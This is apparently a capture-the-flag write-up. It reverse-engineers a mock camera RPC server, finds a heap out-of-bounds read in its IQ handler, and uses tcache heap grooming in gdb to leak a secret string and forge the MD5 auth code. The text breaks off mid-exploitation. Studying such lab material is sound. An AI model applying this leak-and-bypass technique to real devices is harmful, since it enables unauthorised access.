The usrMgr_getEncryptDataStr function allocates heap memory of size sizeof(USR_MGR_ENCRYPT_DATA) == 0x108 (264 bytes). It then calls refresh_secrets, which updates the ts field in the g_cfg global object with the current timestamp and generates a 15-byte random data stream.
The random bytes are converted to their hexadecimal representation, and the function constructs an encrypted string by concatenating the following fields:
1
[1] | [Serial Name] | [Timestamp] | [Mac Address] | [Random Hex String]
Each field is separated by a newline (\n) for strings, and double newlines (\n\n) for integers.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
USR_MGR_ENCRYPT_DATA *__cdecl usrMgr_getEncryptDataStr()
{
unsigned int v; // [rsp+Ch] [rbp-44h]
size_t i; // [rsp+10h] [rbp-40h]
USR_MGR_ENCRYPT_DATA *d; // [rsp+18h] [rbp-38h]
char rand_hex[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+48h] [rbp-8h]
v5 = __readfsqword(0x28u);
d = (USR_MGR_ENCRYPT_DATA *)malloc(0x108uLL);
if ( !d )
return 0LL;
refresh_secrets();
memset(d, 0, sizeof(USR_MGR_ENCRYPT_DATA));
memcpy(d, "SNOREX1", 7uLL);
for ( i = 0LL; i <= 0xE; ++i )
{
v = g_cfg.rand_bytes[i];
rand_hex[2 * i] = a0123456789abcd[v >> 4];
rand_hex[2 * i + 1] = a0123456789abcd[v & 0xF];
}
rand_hex[30] = 0;
snprintf(d->encrypt_str, 0x100uLL, "1\n%s\n%u\n\n%s\n%s\n", g_cfg.serial, g_cfg.ts, g_cfg.mac, rand_hex);
return d;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __cdecl refresh_secrets()
{
uint32_t ts; // ebx
__pid_t v1; // eax
int fd; // [rsp+Ch] [rbp-24h]
size_t i; // [rsp+10h] [rbp-20h]
g_cfg.ts = time(0LL);
memset(g_cfg.rand_bytes, 0, sizeof(g_cfg.rand_bytes));
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
ts = g_cfg.ts;
v1 = getpid();
srand(ts ^ v1);
for ( i = 0LL; i <= 0xE; ++i )
g_cfg.rand_bytes[i] = rand();
}
else
{
read(fd, g_cfg.rand_bytes, 0xFuLL);
close(fd);
}
}
The refresh_secrets function attempts to read 15 random bytes from /dev/urandom. If this fails (file descriptor is negative), it falls back to pseudorandom generation using srand with a seed derived from the current timestamp and process ID. However, since /dev/urandom is a standard Linux interface and unlikely to fail under normal conditions, the random data will almost certainly be sourced from /dev/urandom rather than the fallback PRNG.
After the configuration is loaded, it prints to stderr the port it listens on.
Back to the main function, it seeds srand with the current time, the process id, the timestamp it recorded during config load multiplied by 2, and this data are xored together.
A new thread is created called the rpc_server_thread:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
void *__cdecl __noreturn rpc_server_thread(void *arg)
{
int opt; // [rsp+1Ch] [rbp-34h] BYREF
int listen_fd; // [rsp+20h] [rbp-30h]
int cfd; // [rsp+24h] [rbp-2Ch]
pthread_t th; // [rsp+28h] [rbp-28h] BYREF
sockaddr_in addr; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v6 = __readfsqword(0x28u);
listen_fd = socket(2, 1, 0);
if ( listen_fd < 0 )
{
perror("socket");
_exit(1);
}
opt = 1;
if ( setsockopt(listen_fd, 1, 2, &opt, 4u) )
{
perror("setsockopt");
_exit(1);
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = 2;
addr.sin_port = htons(g_cfg.port);
addr.sin_addr.s_addr = htonl(0);
if ( bind(listen_fd, (const struct sockaddr *)&addr, 0x10u) )
{
perror("bind");
_exit(1);
}
if ( listen(listen_fd, 16) )
{
perror("listen");
_exit(1);
}
fprintf(stderr, "[rpc] listening on %u\n", g_cfg.port);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
cfd = accept(listen_fd, 0LL, 0LL);
if ( cfd >= 0 )
break;
if ( *__errno_location() != 4 )
perror("accept");
}
pthread_mutex_lock(&g_conn_mutex);
if ( g_conn_count < g_conn_max )
break;
pthread_mutex_unlock(&g_conn_mutex);
close(cfd);
}
++g_conn_count;
pthread_mutex_unlock(&g_conn_mutex);
if ( set_sock_timeouts(cfd, 5) )
break;
if ( pthread_create(&th, 0LL, (void *(*)(void *))client_thread, (void *)cfd) )
{
close(cfd);
pthread_mutex_lock(&g_conn_mutex);
if ( g_conn_count > 0 )
--g_conn_count;
LABEL_18:
pthread_mutex_unlock(&g_conn_mutex);
}
else
{
pthread_detach(th);
}
}
close(cfd);
pthread_mutex_lock(&g_conn_mutex);
if ( g_conn_count > 0 )
--g_conn_count;
goto LABEL_18;
}
This function implements a basic threaded TCP server. It creates a socket, binds it to the configured port, and listens for incoming connections. For each accepted connection, a new detached thread (client_thread) is spawned to handle the client’s file descriptor.
Here’s the client thread’s handler:
1
2
3
4
5
6
7
8
9
10
11
12
void *__cdecl client_thread(void *arg)
{
set_sock_timeouts((int)arg, 5);
while ( !handle_request((int)arg) )
;
close((int)arg);
pthread_mutex_lock(&g_conn_mutex);
if ( g_conn_count > 0 )
--g_conn_count;
pthread_mutex_unlock(&g_conn_mutex);
return 0LL;
}
So it calls handle_request on the client fd.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int __cdecl handle_request(int fd)
{
int r; // [rsp+1Ch] [rbp-24h]
uint32_t cmd; // [rsp+20h] [rbp-20h]
uint32_t len; // [rsp+24h] [rbp-1Ch]
uint8_t *buf; // [rsp+28h] [rbp-18h]
uint32_t hdr[2]; // [rsp+30h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( read_full(fd, hdr, 8uLL) )
return -1;
cmd = ntohl(hdr[0]);
len = ntohl(hdr[1]);
if ( len > 0xF4240 )
return -1;
buf = 0LL;
if ( !len )
goto LABEL_10;
buf = (uint8_t *)malloc(len);
if ( !buf )
return -1;
if ( read_full(fd, buf, len) )
{
free(buf);
return -1;
}
else
{
LABEL_10:
r = -1;
if ( cmd > 1 )
{
if ( cmd == 6 )
r = handle_iq(6u, buf, len, fd);
}
else
{
r = handle_auth(cmd, buf, len, fd);
}
if ( buf )
free(buf);
return r;
}
}
int __cdecl read_full(int fd, void *buf, size_t len)
{
size_t done; // [rsp+28h] [rbp-18h]
__int64 r; // [rsp+38h] [rbp-8h]
done = 0LL;
while ( done < len )
{
r = recv(fd, (char *)buf + done, len - done, 0);
if ( !r )
return -1;
if ( r >= 0 )
{
done += r;
}
else if ( *__errno_location() != 4 )
{
return -1;
}
}
return 0;
}
The function first reads an 8-byte protocol header with the following structure:
- First Dword (4 bytes): Command to execute
- Second Dword (4 bytes): Size of data to allocate and read
The allocation size is restricted to a maximum of 0xF4240 bytes.
After reading the header, the function allocates memory of the specified size and reads the request data into this buffer.
Two command handlers are accessible:
handle_auth(cmd <= 1)handle_iq(cmd == 6)
Let us understand the handle_iq handler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
00000000 struct MI_IQ_CONTEXT // sizeof=0x100
00000000 {
00000000 uint8_t hdr[64];
00000040 uint8_t payload[192];
00000100 };
int __cdecl handle_iq(uint32_t cmd, uint8_t *buf, uint32_t len, int fd)
{
MI_IQ_CONTEXT *ctx; // [rsp+28h] [rbp-28h]
MI_IQ_BUFFER out; // [rsp+30h] [rbp-20h] BYREF
uint32_t hdr[2]; // [rsp+40h] [rbp-10h] BYREF
unsigned __int64 v10; // [rsp+48h] [rbp-8h]
v10 = __readfsqword(0x28u);
if ( cmd != 6 )
return -1;
ctx = (MI_IQ_CONTEXT *)malloc(0x100uLL);
if ( !ctx )
return -1;
memset(ctx, 0, sizeof(MI_IQ_CONTEXT));
out.heap_ptr = (uint8_t *)ctx;
out.max_length = 256;
out.curr_length = 0;
MI_IQSERVER_GetApi(buf, len, &out);
hdr[0] = htonl(0);
hdr[1] = htonl(out.curr_length);
if ( write_full(fd, hdr, 8uLL) || out.curr_length && write_full(fd, ctx, out.curr_length) )
{
free(ctx);
return -1;
}
else
{
free(ctx);
return 0;
}
}
- First it ensures that the
cmdequals the handler value6 - Allocates a memory of type
MI_IQ_CONTEXTwhich is256bytes - Does some variable initialization such as setting the
heap_ptrto the context memory, the maximum length and current length
After that, function MI_IQSERVER_GetApi is called:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __cdecl MI_IQSERVER_GetApi(uint8_t *in_data, uint32_t in_length, MI_IQ_BUFFER *out)
{
uint32_t v3; // eax
uint16_t max_word; // [rsp+22h] [rbp-3Eh]
unsigned int raw_len; // [rsp+24h] [rbp-3Ch]
size_t i; // [rsp+28h] [rbp-38h]
size_t i_0; // [rsp+30h] [rbp-30h]
MI_IQ_CONTEXT *ctx; // [rsp+38h] [rbp-28h]
__int64 meta; // [rsp+40h] [rbp-20h]
__int64 meta_8; // [rsp+48h] [rbp-18h]
if ( in_data && out && out->heap_ptr && in_length > 3 && _byteswap_ushort(*(_WORD *)in_data) == 0x2803 )
{
max_word = _byteswap_ushort(*((_WORD *)in_data + 1));
raw_len = 4 * (max_word + 2);
if ( raw_len > 0x400 )
raw_len = 1024;
out->curr_length = raw_len;
ctx = (MI_IQ_CONTEXT *)out->heap_ptr;
memcpy(out->heap_ptr, "IQDA", 4uLL);
memcpy(&ctx->hdr[4], "CH01", 4uLL);
LODWORD(meta) = htonl(0x3E80u);
HIDWORD(meta) = htonl(0x249F00u);
LODWORD(meta_8) = htonl(max_word);
v3 = time(0LL);
HIDWORD(meta_8) = htonl(v3);
*(_QWORD *)&ctx->hdr[8] = meta;
*(_QWORD *)&ctx->hdr[16] = meta_8;
for ( i = 24LL; i <= 0x3F; ++i )
ctx->hdr[i] = (i & 0x1F) + 0x80;
for ( i_0 = 0LL; i_0 <= 0xBF; ++i_0 )
ctx->payload[i_0] = rand();
}
}
The parameters of this function are:
- our input data
- the size specified
- a pointer to the
MI_IQ_BUFFERstructure
Basic checks are done to ensure all required data are set, and it also checks if the protocol identifier (the lower word of in_data converted to big-endian) equals 0x2803.
Next it gets the max_word and multiplies by 4 and if it’s greater than 0x400 it sets raw_len to the maximum len which is 0x400.
It updates out->curr_length to raw_len and then setups some header stuffs.
Going back to the caller function handle_iq:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
hdr[0] = htonl(0);
hdr[1] = htonl(out.curr_length);
if ( write_full(fd, hdr, 8uLL) || out.curr_length && write_full(fd, ctx, out.curr_length) )
{
free(ctx);
return -1;
}
else
{
free(ctx);
return 0;
}
int __cdecl write_full(int fd, const void *buf, size_t len)
{
size_t done; // [rsp+28h] [rbp-18h]
__int64 w; // [rsp+38h] [rbp-8h]
done = 0LL;
while ( done < len )
{
w = send(fd, (char *)buf + done, len - done, 0);
if ( !w )
return -1;
if ( w >= 0 )
{
done += w;
}
else if ( *__errno_location() != 4 )
{
return -1;
}
}
return 0;
}
The function constructs a response header by converting values to network byte order (big-endian):
hdr[0]: Set to0(status code)hdr[1]: Set toout.curr_length(response data length)
The 8-byte header is sent to the client first. If out.curr_length is non-zero, the response data from ctx is then sent with a length of out.curr_length bytes.
Cool, with this we can move on to analysing the handle_auth command handler:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int __cdecl handle_auth(uint32_t cmd, uint8_t *buf, uint32_t len, int fd)
{
int v5; // eax
char *v6; // rax
_BOOL4 ok; // [rsp+28h] [rbp-48h]
uint32_t rlen; // [rsp+2Ch] [rbp-44h]
const char *flag; // [rsp+30h] [rbp-40h]
USR_MGR_ENCRYPT_DATA *d; // [rsp+38h] [rbp-38h]
USR_MGR_ENCRYPT_DATA *old; // [rsp+40h] [rbp-30h]
uint32_t hdr[2]; // [rsp+48h] [rbp-28h] BYREF
char expected[24]; // [rsp+50h] [rbp-20h] BYREF
unsigned __int64 v15; // [rsp+68h] [rbp-8h]
v15 = __readfsqword(0x28u);
if ( cmd )
{
if ( cmd == 1 )
{
if ( buf && len > 0xF )
{
PasswdFind_getAuthCode(expected);
v5 = memcmp(buf, expected, 0x10uLL);
ok = v5 == 0;
if ( v5 )
v6 = "Unauthorized\n";
else
v6 = getenv("FLAG");
flag = v6;
if ( !v6 || !*v6 )
flag = "flag{now_repeat_against_remote_server}";
rlen = strlen(flag);
hdr[0] = htonl(!ok);
hdr[1] = htonl(rlen);
if ( write_full(fd, hdr, 8uLL) )
return -1;
else
return write_full(fd, flag, rlen);
}
else
{
return -1;
}
}
else
{
return -1;
}
}
else
{
d = usrMgr_getEncryptDataStr();
if ( d )
{
pthread_mutex_lock(&g_usr_mutex);
old = g_usr_ctx.encrypt_data;
g_usr_ctx.encrypt_data = d;
pthread_mutex_unlock(&g_usr_mutex);
if ( old )
free(old);
hdr[0] = htonl(0);
hdr[1] = htonl(0);
return write_full(fd, hdr, 8uLL);
}
else
{
return -1;
}
}
}
We have two handle_auth command handler cases:
- cmd == 1: represents authentication
- cmd == 0: represents resetting the encrypted data
For authentication (i.e cmd == 1):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
char expected[24];
if ( cmd == 1 )
{
if ( buf && len > 0xF )
{
PasswdFind_getAuthCode(expected);
v5 = memcmp(buf, expected, 0x10uLL);
ok = v5 == 0;
if ( v5 )
v6 = "Unauthorized\n";
else
v6 = getenv("FLAG");
flag = v6;
if ( !v6 || !*v6 )
flag = "flag{now_repeat_against_remote_server}";
rlen = strlen(flag);
hdr[0] = htonl(!ok);
hdr[1] = htonl(rlen);
if ( write_full(fd, hdr, 8uLL) )
return -1;
else
return write_full(fd, flag, rlen);
}
else
{
return -1;
}
}
else
{
return -1;
}
- The authentication flow requires that
bufis non-null andlenis greater than 15 bytes - The function then retrieves the expected authentication code via
PasswdFind_getAuthCodewhich stores the result inexpected - Finally it performs a
memcmpto verify that the first 16 bytes ofbufmatch the expected value - If authentication succeeds, the flag is returned; otherwise, an “Unauthorized” message is sent
How is the auth code generated?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void __cdecl PasswdFind_getAuthCode(char *out_hex16)
{
unsigned __int8 b; // [rsp+1Bh] [rbp-35h]
int i; // [rsp+1Ch] [rbp-34h]
USR_MGR_ENCRYPT_DATA *d; // [rsp+20h] [rbp-30h]
size_t n; // [rsp+28h] [rbp-28h]
unsigned __int8 digest[24]; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v6 = __readfsqword(0x28u);
*out_hex16 = 0;
pthread_mutex_lock(&g_usr_mutex);
d = g_usr_ctx.encrypt_data;
if ( g_usr_ctx.encrypt_data )
{
n = strnlen(g_usr_ctx.encrypt_data->encrypt_str, 0x100uLL);
MD5(d->encrypt_str, n, digest);
for ( i = 0; i <= 7; ++i )
{
b = digest[i];
out_hex16[2 * i] = a0123456789abcd[b >> 4];
out_hex16[2 * i + 1] = a0123456789abcd[b & 0xF];
}
out_hex16[16] = 0;
pthread_mutex_unlock(&g_usr_mutex);
}
else
{
memcpy(out_hex16, "0000000000000000", 0x11uLL);
pthread_mutex_unlock(&g_usr_mutex);
}
}
It simply computes the MD5 hash of g_usr_ctx.encrypt_data->encrypt_str and converts to hex if g_usr_ctx.encrypt_data is non-null.
So our goal is this, we need to somehow retrieve the content of encrypt_str and with that, we can get authenticated hence getting the flag.
Analysing the reset handle_auth case (i.e cmd == 0):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
d = usrMgr_getEncryptDataStr();
if ( d )
{
pthread_mutex_lock(&g_usr_mutex);
old = g_usr_ctx.encrypt_data;
g_usr_ctx.encrypt_data = d;
pthread_mutex_unlock(&g_usr_mutex);
if ( old )
free(old);
hdr[0] = htonl(0);
hdr[1] = htonl(0);
return write_full(fd, hdr, 8uLL);
}
else
{
return -1;
}
- This first calls
usrMgr_getEncryptDataStrand from our initial analysis we know that this function simply setups the necessary information needed forencrypt_str - Then it updates the
g_usr_ctx.encrypt_datafield to the newencrypt_str, and frees the previousencrypt_str - Finally writes 8 null bytes to our client fd
Vulnerability
The vulnerability here is simply a Heap Out-of-Bands (OOB) Read.
During handle_iq, specifically here:
1
write_full(fd, ctx, out.curr_length)
It writes up to out.curr_length which can be at most 0x400 bytes:
1
2
3
4
5
max_word = _byteswap_ushort(*((_WORD *)in_data + 1));
raw_len = 4 * (max_word + 2);
if ( raw_len > 0x400 )
raw_len = 1024;
out->curr_length = raw_len;
But the allocated memory of ctx is just 0x100 bytes:
1
ctx = (MI_IQ_CONTEXT *)malloc(0x100uLL);
Exploitation
Now we know the vuln, what can we do with it?
Our goal is very obvious, we need to get authenticated in order to get the flag,
And getting authenticated requires knowing the encrypt_str value, of course we can generate some of the data since we know serial, mac, timestamp.
But the main issue is the random hex string.
Leveraging the oob heap read we can dump the content of adjacent heap chunks, but really there’s nothing of interest there during thread creation.
The reason is because the encrypt_str value is stored on the main heap thread (main arena) and because this uses the ptmalloc allocator this means every thread has it’s own heap.
We can easily confirm this from debugging.
This is the state of the heap on initialization:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gef> vis -n
0x55555555a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555a010|+0x00010|+0x00010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000111 | ................ |
0x55555555a2a0|+0x00010|+0x002a0: 0x00315845524f4e53 0x2d5a454b41460a31 | SNOREX1.1.FAKEZ- |
0x55555555a2b0|+0x00020|+0x002b0: 0x31304d41432d4b32 0x383133363637310a | 2K-CAM01.1766318 |
0x55555555a2c0|+0x00030|+0x002c0: 0x3a42410a0a373532 0x43373a44343a3231 | 257..AB:12:4D:7C |
0x55555555a2d0|+0x00040|+0x002d0: 0x330a30313a30323a 0x3530613636366264 | :20:10.3db666a05 |
0x55555555a2e0|+0x00050|+0x002e0: 0x3230646664353832 0x3734303463666639 | 285dfd029ffc4047 |
0x55555555a2f0|+0x00060|+0x002f0: 0x00000a3334633135 0x0000000000000000 | 51c43........... |
0x55555555a300|+0x00070|+0x00300: 0x0000000000000000 0x0000000000000000 | ................ |
* 9 lines, 0x90 bytes
0x55555555a3a0|+0x00000|+0x003a0: 0x0000000000000000 0x0000000000000121 | ........!....... |
0x55555555a3b0|+0x00010|+0x003b0: 0x000000000000000f 0x0000000000000000 | ................ |
0x55555555a3c0|+0x00020|+0x003c0: 0x0000000000000001 0x0000000000000000 | ................ |
0x55555555a3d0|+0x00030|+0x003d0: 0x00007ffff7600638 0x0000000000000000 | 8.`............. |
0x55555555a3e0|+0x00040|+0x003e0: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x55555555a4c0|+0x00000|+0x004c0: 0x0000000000000000 0x0000000000020b41 | ........A....... | <- top
0x55555555a4d0|+0x00010|+0x004d0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8370 lines, 0x20b20 bytes
gef>
Now, when we try to dump some contents this is what happens:
Of course gdb shows that a new thread is created:
1
2
3
4
5
gef> c
Continuing.
[New Thread 0x7ffff6c006c0 (LWP 153807)]
[Thread 0x7ffff6c006c0 (LWP 153807) exited]
^C
Taking a look at the heap we see nothing new:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gef> vis -n
0x55555555a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555a010|+0x00010|+0x00010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000111 | ................ |
0x55555555a2a0|+0x00010|+0x002a0: 0x00315845524f4e53 0x2d5a454b41460a31 | SNOREX1.1.FAKEZ- |
0x55555555a2b0|+0x00020|+0x002b0: 0x31304d41432d4b32 0x383133363637310a | 2K-CAM01.1766318 |
0x55555555a2c0|+0x00030|+0x002c0: 0x3a42410a0a373532 0x43373a44343a3231 | 257..AB:12:4D:7C |
0x55555555a2d0|+0x00040|+0x002d0: 0x330a30313a30323a 0x3530613636366264 | :20:10.3db666a05 |
0x55555555a2e0|+0x00050|+0x002e0: 0x3230646664353832 0x3734303463666639 | 285dfd029ffc4047 |
0x55555555a2f0|+0x00060|+0x002f0: 0x00000a3334633135 0x0000000000000000 | 51c43........... |
0x55555555a300|+0x00070|+0x00300: 0x0000000000000000 0x0000000000000000 | ................ |
* 9 lines, 0x90 bytes
0x55555555a3a0|+0x00000|+0x003a0: 0x0000000000000000 0x0000000000000121 | ........!....... |
0x55555555a3b0|+0x00010|+0x003b0: 0x000000000000000f 0x0000000000000000 | ................ |
0x55555555a3c0|+0x00020|+0x003c0: 0x0000000000000001 0x0000000000000000 | ................ |
0x55555555a3d0|+0x00030|+0x003d0: 0x00007ffff7600638 0x0000000000000000 | 8.`............. |
0x55555555a3e0|+0x00040|+0x003e0: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x55555555a4c0|+0x00000|+0x004c0: 0x0000000000000000 0x0000000000020b41 | ........A....... | <- top
0x55555555a4d0|+0x00010|+0x004d0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8370 lines, 0x20b20 bytes
gef>
But for sure we know that the handle_client does some heap manipulations.
In order to identify the heap of any thread we can read the main_arena.next field (this is a doubly linked list that points to the arena of various threads)
1
2
3
gef> p main_arena.next
$1 = (struct malloc_state *) 0x7fffe8000030
gef>
Now we can dump the heap for that arena:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gef> p main_arena.next
$1 = (struct malloc_state *) 0x7fffe8000030
gef> vis -a 0x7fffe8000030 -n
0x7fffe80008d0|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000295 | ................ |
0x7fffe80008e0|+0x00010|+0x00010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x7fffe8000b60|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000115 | ................ |
0x7fffe8000b70|+0x00010|+0x002a0: 0x00007fffe8000190 0x00007fffe8000190 | ................ |
0x7fffe8000b80|+0x00020|+0x002b0: 0x4141414141414141 0x4141414141414141 | AAAAAAAAAAAAAAAA |
* 14 lines, 0xe0 bytes
0x7fffe8000c70|+0x00000|+0x003a0: 0x0000000000000110 0x0000000000020391 | ................ | <- top
0x7fffe8000c80|+0x00010|+0x003b0: 0x00000007fffe8000 0xb5a77b7045543dd6 | .........=TEp{.. |
0x7fffe8000c90|+0x00020|+0x003c0: 0x8ce1476911220000 0x9f9e9d9c9b9a9998 | ..".iG.......... |
...
gef>
Cool, we see our user data, but really there’s nothing else interesting there..
So how to we leverage this vulnerability?
Recall that we can reset the encrypt_str value:
1
2
3
4
5
6
7
8
9
10
11
12
13
d = usrMgr_getEncryptDataStr();
if ( d )
{
pthread_mutex_lock(&g_usr_mutex);
old = g_usr_ctx.encrypt_data;
g_usr_ctx.encrypt_data = d;
pthread_mutex_unlock(&g_usr_mutex);
if ( old )
free(old);
hdr[0] = htonl(0);
hdr[1] = htonl(0);
return write_full(fd, hdr, 8uLL);
}
When this generates a new d, that is done in the current thread and then it updates g_usr_ctx.encrypt_data to the d, and since this is a global shared memory this means even if we create a new thread the authentication is going to make use of the value in g_usr_ctx.encrypt_data
Essentially any allocations done in this thread is going to make use of the current heap thread and not the main thread.
So we can make use of this feature to leak the generated pin.
But how? In order to do that, the heap needs to groomed making it such that when it dumps, it would as well print the encrypt_str value.
This is how the allocations are done:
1
2
3
4
5
6
7
8
9
10
11
12
handle_request:
- buf = malloc(len)
handle-iq:
- ctx = malloc(0x100)
- free(ctx)
handle_auth:
- reset encrypted data:
- malloc(0x108)
- free(buf)
Basically we need to make the heap in this state:
1
2
--- [ctx struct]
--- [encrypt_str]
This way, when we dump ctx we would leak encrypt_str
To do that, first I allocated a chunk of size 0x100 then used the handle-iq handler.
Doing that would give us this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gef> p main_arena.next
$6 = (struct malloc_state *) 0x7fffe8000030
gef> vis -a 0x7fffe8000030 -n
0x7fffe80008d0|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000295 | ................ |
0x7fffe80008e0|+0x00010|+0x00010: 0x0000000000000000 0x0000000000000000 | ................ |
0x7fffe80008f0|+0x00020|+0x00020: 0x0000000000000000 0x0002000000000000 | ................ |
0x7fffe8000900|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
* 12 lines, 0xc0 bytes
0x7fffe80009d0|+0x00100|+0x00100: 0x0000000000000000 0x00007fffe8000b70 | ........p....... |
0x7fffe80009e0|+0x00110|+0x00110: 0x0000000000000000 0x0000000000000000 | ................ |
* 23 lines, 0x170 bytes
0x7fffe8000b60|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000115 | ................ |
0x7fffe8000b70|+0x00010|+0x002a0: 0x00007ff817fe8c80 0xb5a77b7045543dd6 | .........=TEp{.. | <- tcache[idx=15,sz=0x110][1/2]
0x7fffe8000b80|+0x00020|+0x002b0: 0x4141414141414141 0x4141414141414141 | AAAAAAAAAAAAAAAA |
* 14 lines, 0xe0 bytes
0x7fffe8000c70|+0x00000|+0x003a0: 0x0000000000000110 0x0000000000000115 | ................ |
0x7fffe8000c80|+0x00010|+0x003b0: 0x00000007fffe8000 0xb5a77b7045543dd6 | .........=TEp{.. | <- tcache[idx=15,sz=0x110][2/2]
0x7fffe8000c90|+0x00020|+0x003c0: 0x58e6476911220000 0x9f9e9d9c9b9a9998 | ..".iG.X........ |
0x7fffe8000ca0|+0x00030|+0x003d0: 0x8786858483828180 0x8f8e8d8c8b8a8988 | ................ |
0x7fffe8000cb0|+0x00040|+0x003e0: 0x9796959493929190 0x9f9e9d9c9b9a9998 | ................ |
0x7fffe8000cc0|+0x00050|+0x003f0: 0x1caf2d3a65c34d71 0x7b24b18150d3c2e2 | qM.e:-.....P..${ |
0x7fffe8000cd0|+0x00060|+0x00400: 0x2906bfa7cc7ff990 0x8f0c031e3541c4ca | .......)..A5.... |
0x7fffe8000ce0|+0x00070|+0x00410: 0xdea7a4fc8af5cf50 0xbc63532be72f7a66 | P.......fz/.+Sc. |
0x7fffe8000cf0|+0x00080|+0x00420: 0x6c1d8ea2f488e24d 0xb100ad6170a15e52 | M......lR^.pa... |
0x7fffe8000d00|+0x00090|+0x00430: 0x0058e399793cf57d 0x27454ada89e7875d | }.<y..X.]....JE' |
0x7fffe8000d10|+0x000a0|+0x00440: 0xae3b385bcf1bcd2d 0x07a91e8af71edc96 | -...[8;......... |
0x7fffe8000d20|+0x000b0|+0x00450: 0x25add8c8ad80e513 0x0c61f3df3aae945f | .......%_..:..a. |
0x7fffe8000d30|+0x000c0|+0x00460: 0x4cca16b51cdb7dc0 0x1a83ec077c43e8f2 | .}.....L..C|.... |
0x7fffe8000d40|+0x000d0|+0x00470: 0x3cbf74dc99c704d1 0x21f4d761e8766d09 | .....t.<.mv.a..! |
0x7fffe8000d50|+0x000e0|+0x00480: 0xd75607e50a3dcf54 0x5711d786f75499f0 | T.=...V...T....W |
0x7fffe8000d60|+0x000f0|+0x00490: 0x56f4b04db8f1d9db 0x96a032417e3e6a1d | ....M..V.j>~A2.. |
0x7fffe8000d70|+0x00100|+0x004a0: 0xd5bef6e5e6a0dd01 0xc56ddde915cc128f | ..............m. |
0x7fffe8000d80|+0x00000|+0x004b0: 0x0000000000000000 0x0000000000020281 | ................ | <- top
0x7fffe8000d90|+0x00010|+0x004c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8230 lines, 0x20260 bytes
gef>
Since the chunks are of the same size and are in the tcache-bin, any future allocations of this size index would be collected from the tcache-bin.
Next thing I did was to allocate another chunk of size 0x100 and use the reset handler, here’s the state of the heap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gef> vis -a 0x7fffe8000030 -n
0x7fffe80008d0|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000295 | ................ |
0x7fffe80008e0|+0x00010|+0x00010: 0x0000000000000000 0x0000000000000000 | ................ |
0x7fffe80008f0|+0x00020|+0x00020: 0x0000000000000000 0x0002000000000000 | ................ |
0x7fffe8000900|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
* 12 lines, 0xc0 bytes
0x7fffe80009d0|+0x00100|+0x00100: 0x0000000000000000 0x00007fffe8000b70 | ........p....... |
0x7fffe80009e0|+0x00110|+0x00110: 0x0000000000000000 0x0000000000000000 | ................ |
* 23 lines, 0x170 bytes
